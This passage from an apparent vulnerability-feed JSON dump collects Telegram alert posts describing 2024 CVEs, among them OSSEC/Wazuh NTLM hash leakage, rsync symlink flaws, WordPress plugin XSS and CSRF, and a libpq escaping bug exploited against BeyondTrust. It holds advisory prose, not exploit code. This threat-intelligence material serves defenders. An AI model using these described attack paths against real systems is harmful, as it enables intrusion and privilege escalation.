Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1244\n\ud83d\udd25 CVSS Score: 9.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Improper input validation in the OSSEC HIDS agent for Windows prior to version 3.8.0 allows an attacker in with control over the OSSEC server or in possession of the agent's key to configure the agent to connect to a malicious UNC path. This results in the leakage of the machine account NetNTLMv2 hash, which can be relayed for remote code execution or used to escalate privileges to SYSTEM via AD CS certificate forging and other similar attacks.\n\ud83d\udccf Published: 2025-06-11T02:59:06.240Z\n\ud83d\udccf Modified: 2025-06-11T02:59:06.240Z\n\ud83d\udd17 References:\n1. https://pentraze.com/\n2. https://pentraze.com/vulnerability-reports/", "creation_timestamp": "2025-06-11T03:37:02.000000Z"}, {"uuid": "9274c6ca-5013-41b4-b8d9-25e48f5a3638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1243", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18039", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1243\n\ud83d\udd25 CVSS Score: 9.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Improper input validation in the Wazuh agent for Windows prior to version 4.8.0 allows an attacker with control over the Wazuh server or agent key to configure the agent to connect to a malicious UNC path. This results in the leakage of the machine account NetNTLMv2 hash, which can be relayed for remote code execution or used to escalate privileges to SYSTEM via AD CS certificate forging and other similar attacks.\n\ud83d\udccf Published: 2025-06-11T01:15:13.116Z\n\ud83d\udccf Modified: 2025-06-11T01:15:13.116Z\n\ud83d\udd17 References:\n1. https://pentraze.com/\n2. https://pentraze.com/vulnerability-reports/CVE-2024-1243/\n3. https://github.com/wazuh/wazuh/security/advisories/GHSA-3crh-39qv-fxj7", "creation_timestamp": "2025-06-11T02:37:03.000000Z"}, {"uuid": "c9b120ed-5f5c-440d-aa26-66c9bbc1d28b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1201", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18334", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1201\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Search path or unquoted item vulnerability in HDD Health affecting versions 4.2.0.112 and earlier. This vulnerability could allow a local attacker to store a malicious executable file within the unquoted search path, resulting in privilege escalation.\n\ud83d\udccf Published: 2024-02-02T12:00:51.824Z\n\ud83d\udccf Modified: 2025-06-13T19:01:22.377Z\n\ud83d\udd17 References:\n1. https://www.incibe.es/en/incibe-cert/notices/aviso/panterasoft-hdd-health-search-path-or-unquoted-item-vulnerability", "creation_timestamp": "2025-06-13T19:35:08.000000Z"}, {"uuid": "0faa91f8-addb-480f-8e44-701274ea8cc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18474", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12747\n\ud83d\udd25 CVSS Score: 5.6 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. This vulnerability arises from a race condition during rsync's handling of symbolic links. Rsync's default behavior when encountering symbolic links is to skip them. If an attacker replaced a regular file with a symbolic link at the right time, it was possible to bypass the default behavior and traverse symbolic links. Depending on the privileges of the rsync process, an attacker could leak sensitive information, potentially leading to privilege escalation.\n\ud83d\udccf Published: 2025-01-14T17:39:16.031Z\n\ud83d\udccf Modified: 2025-06-16T17:24:34.857Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:2600\n2. https://access.redhat.com/errata/RHSA-2025:7050\n3. https://access.redhat.com/errata/RHSA-2025:8385\n4. https://access.redhat.com/security/cve/CVE-2024-12747\n5. https://bugzilla.redhat.com/show_bug.cgi?id=2332968\n6. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-06-16T17:37:46.000000Z"}, {"uuid": "018af780-2150-464a-bfe0-33f6e09a78ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18777", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12088\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. When using the `--safe-links` option, the rsync client fails to properly verify if a symbolic link destination sent from the server contains another symbolic link within it. This results in a path traversal vulnerability, which may lead to arbitrary file write outside the desired directory.\n\ud83d\udccf Published: 2025-01-14T17:38:34.890Z\n\ud83d\udccf Modified: 2025-06-18T16:34:57.892Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:2600\n2. https://access.redhat.com/errata/RHSA-2025:7050\n3. https://access.redhat.com/errata/RHSA-2025:8385\n4. https://access.redhat.com/security/cve/CVE-2024-12088\n5. https://bugzilla.redhat.com/show_bug.cgi?id=2330676\n6. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-06-18T16:43:22.000000Z"}, {"uuid": "61d9e8e5-3db3-4b4c-a356-14bdb69dc2fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "Telegram/ZISkoB043557Xv37GGFJzYg7Y_iIJ-ZMm0BHFwXa3auXqi8", "content": "", "creation_timestamp": "2026-04-15T23:00:08.000000Z"}, {"uuid": "007fdb70-634b-4cbf-98e2-147aab9f4ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://t.me/cvedetector/16415", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12334 - Adobe WC Affiliate Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12334 \nPublished : Jan. 26, 2025, 12:15 p.m. | 1\u00a0hour, 49\u00a0minutes ago \nDescription : The WC Affiliate \u2013 A Complete WooCommerce Affiliate Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via any parameter in all versions up to, and including, 2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-26T15:44:38.000000Z"}, {"uuid": "22b1506d-1a1c-494c-b8ef-8a6e46f04030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12494", "type": "seen", "source": "https://t.me/cvedetector/16256", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12494 - \"WordPress BMLT Meeting Map Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12494 \nPublished : Jan. 24, 2025, 10:15 a.m. | 27\u00a0minutes ago \nDescription : The BMLT Meeting Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bmlt_meeting_map' shortcode in all versions up to, and including, 2.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T11:53:36.000000Z"}, {"uuid": "45148722-0932-4ffd-a08a-c286d316ce17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "Telegram/jI-ziKY_wX-x8VxGbDq94Mgm1Oi4M16ZlunioiOwreGl0lXu", "content": "", "creation_timestamp": "2025-03-02T11:44:22.000000Z"}, {"uuid": "7535054a-a99e-4433-8391-11be3a82cf63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/cvedetector/17117", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12511 - HP SMB/FTP Settings Manipulation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12511 \nPublished : Feb. 3, 2025, 8:15 p.m. | 22\u00a0minutes ago \nDescription : With address book access, SMB/FTP settings could be modified, redirecting scans and possibly capturing credentials. This requires enabled scan functions and printer access. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-03T22:00:19.000000Z"}, {"uuid": "2e6c208a-3785-4cc2-9d89-6430d61eabbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12820", "type": "seen", "source": "Telegram/LMtMxKxj53alsge1voq1G6D70nsURz1zvART2odGB2DxPLfr", "content": "", "creation_timestamp": "2025-03-02T11:44:22.000000Z"}, {"uuid": "f69cbe0a-63e4-4b9f-b213-19859c65491a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12533", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16143", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12533\n\ud83d\udd25 CVSS Score: 3.3 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: Improper Check for Unusual or Exceptional Conditions vulnerability in Phoenix SecureCore Technology 4 allows Input Data Manipulation.This issue affects SecureCore Technology 4: from 4.0.1.0 before 4.0.1.1018, from 4.1.0.1 before 4.1.0.573, from 4.2.0.1 before 4.2.0.338, from 4.2.1.1 before 4.2.1.300, from 4.3.0.1 before 4.3.0.244, from 4.3.1.1 before 4.3.1.187, from 4.4.0.1 before 4.4.0.299, from 4.5.0.1 before 4.5.0.231, from 4.5.1.1 before 4.5.1.103, from 4.5.5.1 before 4.5.5.36, from 4.6.0.1 before 4.6.0.67.\n\ud83d\udccf Published: 2025-05-13T14:56:41.235Z\n\ud83d\udccf Modified: 2025-05-13T15:15:09.100Z\n\ud83d\udd17 References:\n1. https://www.phoenix.com/security-notifications/cve-2024-12533", "creation_timestamp": "2025-05-13T15:31:17.000000Z"}, {"uuid": "342a705f-b2dd-45eb-9ecb-5cc0c5c12fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://t.me/cvedetector/16446", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12280 - WordPress Customer Area CSRF Delete Log\", \n  \"Content\": \"CVE ID : CVE-2024-12280 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The WP Customer Area WordPress plugin through 8.2.4 does not have CSRF check in place when deleting its logs, which could allow attackers to make a logged in to delete them via a CSRF attack \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:30.000000Z"}, {"uuid": "5bd3174f-d2d1-4857-924a-0e90c8e648bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/cvedetector/18163", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12562 - WordPress s2Member Pro PHP Object Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12562 \nPublished : Feb. 15, 2025, 10:15 a.m. | 1\u00a0hour, 4\u00a0minutes ago \nDescription : The s2Member Pro plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 241216 via deserialization of untrusted input from the 's2member_pro_remote_op' vulnerable parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-15T12:41:22.000000Z"}, {"uuid": "4dad3493-1911-44d9-af2e-b534e63a0d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12774", "type": "seen", "source": "https://t.me/cvedetector/16445", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12774 - Altra Side Menu CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12774 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The Altra Side Menu WordPress plugin through 2.0 does not have CSRF checks in some places, which could allow attackers to make logged in admins delete arbitrary menu via a CSRF attack \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:29.000000Z"}, {"uuid": "58d636f6-c8c5-41c4-9944-1d95451b2032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://t.me/cvedetector/18113", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12651 - PTT HGS Mobile App Exposed Dangerous Method or Function\", \n  \"Content\": \"CVE ID : CVE-2024-12651 \nPublished : Feb. 14, 2025, 2:15 p.m. | 2\u00a0hours, 1\u00a0minute ago \nDescription : Exposed Dangerous Method or Function vulnerability in PTT Inc. HGS Mobile App allows Manipulating User-Controlled Variables.This issue affects HGS Mobile App: before 6.5.0. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-14T17:26:21.000000Z"}, {"uuid": "75b34556-1784-4ce6-b0ec-7841b454ffad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://t.me/cvedetector/16444", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12321 - \"WC Affiliate Reflected Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12321 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The WC Affiliate  WordPress plugin through 2.3.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:25.000000Z"}, {"uuid": "ab8a1b7a-f787-4f54-9951-fc5b0f5fded0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://t.me/CyberBulletin/2042", "content": "\u26a1\ufe0fCVE-2024-12847 (CVSS 9.8): NETGEAR Router Flaw Exploited in the Wild for Years, PoC Published.\n\n#CyberBulletin", "creation_timestamp": "2025-01-11T09:22:57.000000Z"}, {"uuid": "12dd409f-797f-42ca-a479-74457f0d6681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://t.me/cvedetector/18062", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12054 - ZF Roll Stability Support Plus (RSSPlus) Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12054 \nPublished : Feb. 13, 2025, 11:15 p.m. | 33\u00a0minutes ago \nDescription : ZF Roll Stability Support Plus (RSSPlus)   \nis vulnerable to an authentication bypass vulnerability targeting   \ndeterministic RSSPlus SecurityAccess service seeds, which may allow an   \nattacker to remotely (proximal/adjacent with RF equipment or via pivot   \nfrom J2497 telematics devices) call diagnostic functions intended for   \nworkshop or repair scenarios. This can impact system availability,   \npotentially degrading performance or erasing software, however the   \nvehicle remains in a safe vehicle state. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-14T01:32:26.000000Z"}, {"uuid": "8256d60f-e303-4d59-a0c8-04edf80e1645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12013", "type": "seen", "source": "https://t.me/cvedetector/18037", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12013 - Fortinet TCP/IP Gateway Default Credentials Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12013 \nPublished : Feb. 13, 2025, 4:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : A CWE-1392 \u201cUse of Default Credentials\u201d was discovered affecting the 130.8005 TCP/IP Gateway running firmware version 12h. The device exposes an FTP server with default and easy-to-guess admin credentials. A remote attacker capable of interacting with the FTP server could gain access and perform changes over resources exposed by the service such as configuration files where password hashes are saved or where network settings are stored. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-13T18:50:45.000000Z"}, {"uuid": "4d23b17b-cba3-47a9-b032-856a2e91e914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/5028", "content": "\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043b\u044e\u0447 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a API, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c\u0443 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043e\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0443\u0441\u043b\u0443\u0433 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 BeyondTrust. \u0414\u0430\u043d\u043d\u044b\u0439 API \u0431\u044b\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410, \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 BeyondTrust. \u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u0441\u0442\u0430\u043d\u0446\u0438\u044f\u043c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libpq, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 API \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0421\u0423\u0411\u0414 \u0438\u0437 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u0421\u0438 (\u043f\u043e\u0432\u0435\u0440\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438-\u043e\u0431\u0432\u044f\u0437\u043a\u0438 \u0434\u043b\u044f C++, Perl, PHP \u0438 Python). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0434\u043b\u044f \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u0430\u0432\u044b\u0447\u0435\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0438 PQescapeLiteral(), PQescapeIdentifier(), PQescapeString() \u0438\u043b\u0438 PQescapeStringConn().\n\n\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0435\u0433\u043e SQL-\u043a\u043e\u0434\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u044b\u0439 \u0438\u0437\u0432\u043d\u0435 \u0442\u0435\u043a\u0441\u0442 \u043f\u0435\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u043d\u0443\u0442\u0440\u0438 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0432\u044b\u0448\u0435\u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 libpq. \u0412 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 BeyondTrust \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 psql. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 Unicode-\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043a\u0430\u0432\u044b\u0447\u0435\u043a \u0447\u0435\u0440\u0435\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0445 \u043c\u043d\u043e\u0433\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u044b\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0435\u0439 